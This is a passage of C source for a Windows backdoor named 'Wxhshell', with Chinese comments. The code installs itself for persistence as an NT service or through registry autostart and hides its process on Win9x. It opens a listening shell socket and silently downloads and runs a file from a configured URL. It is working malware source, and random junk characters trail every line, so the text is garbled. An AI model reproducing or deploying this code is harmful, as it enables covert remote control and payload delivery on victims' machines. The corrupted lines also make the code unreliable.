ULONG InheritedFromUniqueProcessId; T6#CK
} PROCESS_BASIC_INFORMATION; WC,+Cn e
`.%JjsD<
PROCNTQSIP NtQueryInformationProcess; !ABiy6d
rJJ[X4$
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vUA0FoOp
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aG+j9Q_
5D Y\:AF
HANDLE hProcess; QA#3bFZt1n
PROCESS_BASIC_INFORMATION pbi; {Qv>q$Q
;eL9{eF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FT.,%2
if(NULL == hInst ) return 0; |Ic`,>XM
| ?yo 3
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &a,OfSz
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 52_#
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a4MZ;5
0aI;\D*Ts
if (!NtQueryInformationProcess) return 0; /)
4GSC}Gg
IA&L]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @n&<B`/
if(!hProcess) return 0; I$t3qd{H&
_>m-AI4^
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D${={x
X2|Y
CloseHandle(hProcess); N8r*dadDd
\x{;U#B[3>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l_rn++
if(hProcess==NULL) return 0; Z8#Gwyinx
!v.9"!' N
HMODULE hMod; #R0A= !
char procName[255]; "=. t
36#
unsigned long cbNeeded; 20RXK1So
X-LA}YH=tS
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8.J(r(;>
bx4'en#
CloseHandle(hProcess); R6-n IY,
)E#2J$TD
if(strstr(procName,"services")) return 1; // 以服务启动 =sJ
_yq0#R
[,RI-#n
return 0; // 注册表启动 3REx45M2
} I<td1Y1q
y&m0Lz53Z
// 主模块 #]?bLm<!
int StartWxhshell(LPSTR lpCmdLine) I04jjr:<
{ cF)/^5Z
SOCKET wsl; #oeG!<Mn
BOOL val=TRUE; {6 6sB{P
int port=0; a ]Eg!Q
struct sockaddr_in door; A>`945|
h%; e0Xz|
if(wscfg.ws_autoins) Install(); X?:o;wB
IP`6bMd
port=atoi(lpCmdLine); 6qWdd&1
\c v?^AI
if(port<=0) port=wscfg.ws_port; 2&'|Eqk
7uorQfR?
WSADATA data; |BT MJ:B
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vbx6I>\Y
u]-_<YZ'B
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1n5(S<T
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @`opDu!
door.sin_family = AF_INET; :2
>hoAJJ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Sq][W=
door.sin_port = htons(port); '>$EOg"
X,aYK;q%z
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \0l>q ,
closesocket(wsl); PNF?;*`-{7
return 1; SzwQOs*
} W7"{r)7
7|\@zQ h
if(listen(wsl,2) == INVALID_SOCKET) { `\`> 0hlu
closesocket(wsl); *L6PLe
return 1; PWRy7d
} ;8WZx
Wxhshell(wsl); T{qTj6I
WSACleanup(); H1GRMDNXOA
Jj~EiA
return 0; T9)nQ[
A[IL
H_w
} NjPDX>R\K
8dD2
// 以NT服务方式启动 fDE%R={!n5
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C51bc6V
{ |7,L`utp
DWORD status = 0; _=ua6}Xp
DWORD specificError = 0xfffffff; ^;,M}|<h
a?|vQ*W
serviceStatus.dwServiceType = SERVICE_WIN32; *<N3_tx"
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >3 yk#U|7}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [,n c
serviceStatus.dwWin32ExitCode = 0; 09A
X-JP
serviceStatus.dwServiceSpecificExitCode = 0; F' U 50usV
serviceStatus.dwCheckPoint = 0; |@ ,|F:h<M
serviceStatus.dwWaitHint = 0; NK|? y
/525w^'pd
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f/WQ[\<!I
if (hServiceStatusHandle==0) return; iGB_{F~t4}
ZyOv.,y
status = GetLastError(); C%*k.$#r!
if (status!=NO_ERROR) Mb3}7 @/[
{ 5aad$f
serviceStatus.dwCurrentState = SERVICE_STOPPED; .=m,hu~
serviceStatus.dwCheckPoint = 0; x!\ONF5$
serviceStatus.dwWaitHint = 0; oH0X<'
serviceStatus.dwWin32ExitCode = status; 43?^7_l-
serviceStatus.dwServiceSpecificExitCode = specificError; _&K
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 08X_}97#WF
return; j!7`]
} U\/5;Txy(
yC
77c=
serviceStatus.dwCurrentState = SERVICE_RUNNING; UnVm1ZWZ
serviceStatus.dwCheckPoint = 0; .@
xF6UZ
serviceStatus.dwWaitHint = 0; +("7ZK?
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @
'@:sM_
} V
f-a'K&
5es[Ph|K5
// 处理NT服务事件,比如:启动、停止 i)#:qAtP*
VOID WINAPI NTServiceHandler(DWORD fdwControl) m}>F<;hQ
{ ^F?&|clM/
switch(fdwControl) 1qV@qz
{ A:(*y
2
case SERVICE_CONTROL_STOP: =%'`YbD$
serviceStatus.dwWin32ExitCode = 0; + OV')oE
serviceStatus.dwCurrentState = SERVICE_STOPPED; R52I=
a5,*
serviceStatus.dwCheckPoint = 0; zF5uN:-s
serviceStatus.dwWaitHint = 0; 3@5=+z~CW
{ %m:m}ziLQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zlR?,h-[3
} l5l>d62
return; I`z@2Z+pJ
case SERVICE_CONTROL_PAUSE: +T9:Udi
serviceStatus.dwCurrentState = SERVICE_PAUSED; BpX6aAx
break; BBcV9CGU
case SERVICE_CONTROL_CONTINUE: LZMYr
serviceStatus.dwCurrentState = SERVICE_RUNNING; hhoEb(BA
break; f+rz|(6vs{
case SERVICE_CONTROL_INTERROGATE: GGhM;%H_99
break; 6}FO[
}; %OgS^_tu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sq:0w
} $}")1|U,X
As+t##gN
// 标准应用程序主函数 -v6M<
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x `V;Y]7'
{ p ?wI9GY
'`1CBU$
// 获取操作系统版本 (98Nzgxgx}
OsIsNt=GetOsVer(); :eo
GetModuleFileName(NULL,ExeFile,MAX_PATH); CK,
6ytB
e#/E~r&
// 从命令行安装 .9O$G2'oh
if(strpbrk(lpCmdLine,"iI")) Install(); 1-.~7yC
rJ KZ)N{
// 下载执行文件 zhY+x<-
if(wscfg.ws_downexe) { *T0q|P~o%
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k6=nO?$
WinExec(wscfg.ws_filenam,SW_HIDE); `9k0Gd
} 0Z{j>=$
npRSE v
if(!OsIsNt) { !n6wWl
// 如果时win9x,隐藏进程并且设置为注册表启动 /b|0PMX
HideProc(); ?xK,mbFgl
StartWxhshell(lpCmdLine); Q f(p~a(d
} =@F&o4) r
else r-,e;o>9
if(StartFromService()) AIA6yeaU
// 以服务方式启动 7)h[Zy,A
StartServiceCtrlDispatcher(DispatchTable); ?f/n0U4w
else fib}b?vk
// 普通方式启动 3>
/K0N|$
StartWxhshell(lpCmdLine); !|c|o*t{
+2 Af&~T
return 0; _)]CzBRq\6
}